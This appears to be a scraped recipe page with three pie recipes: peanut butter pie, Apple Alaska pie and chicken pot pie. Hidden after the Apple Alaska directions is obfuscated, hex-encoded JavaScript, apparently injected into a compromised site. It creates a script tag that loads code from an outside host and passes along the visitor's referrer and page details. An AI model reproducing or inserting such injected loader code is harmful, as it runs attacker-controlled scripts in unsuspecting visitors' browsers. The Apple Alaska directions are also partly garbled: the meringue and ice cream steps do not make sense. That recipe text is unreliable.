Peanut butter pie

INGREDIENTS:

1 (8 inch) graham cracker pie crust
2 c. milk
1/2 c. peanut butter
1 pkg. butterscotch pudding and pie filling
1/2 tsp. vanilla

DIRECTIONS:

Blend milk into peanut butter, stir until mixture is smooth. Add pie filling mix and stir to blend. Cook and stir until mix is thick and smooth. Boil 1 minute after mixture starts to boil. Then cool for 5 minutes.
Stir occasionally to keep top moist. Add vanilla and pour into pie crust. When cool, spread with whipped cream and sprinkle with crushed, salted peanuts.
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Apple Alaska Pie

INGREDIENTS:

1 pie crust
6 med. apples
3/4 c. sugar
1 1/2 tsp. flour
1/8 tsp. nutmeg
1/2 tsp. cinnamon
1 1/2 tbsp. butter
3 egg whites
1/2 c. sugar
1 qt. vanilla ice cream

DIRECTIONS:

Line 9 inch pie pan with pastry. Core, pare and slice apples. Combine 3/4 cup sugar, flour, and spices. Mix together with apples. Dot with butter. Bake at 425 degrees for 30 minutes or until apples are tender. Cool thoroughly. Beat egg whites stiff, add 1/2 cup sugar, 1 tablespoon at a time beating well after each addition. Spoon in cream evenly on top of pie to within 1 inch of rim. Cover top of pie with butter. Bake at 500 degrees for 2 minutes.var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Chicken Pot Pie I

INGREDIENTS:

4 skinless, boneless chicken breast halves
1 (10.75 ounce) can condensed cream of chicken soup
2 (15 ounce) cans mixed vegetables, drained
1 recipe pastry for a 9 inch single crust pie

DIRECTIONS:

Boil or steam the chicken breasts until done. Dice.
Mix together undiluted soup, canned vegetables, and diced chicken. Pour mixture into pie shell, and cover with the second crust. Crimp the edges, and make slits in the top crust.
Bake at 375 degrees F (190 degrees C) for 45 minutes, or until crust is golden brown.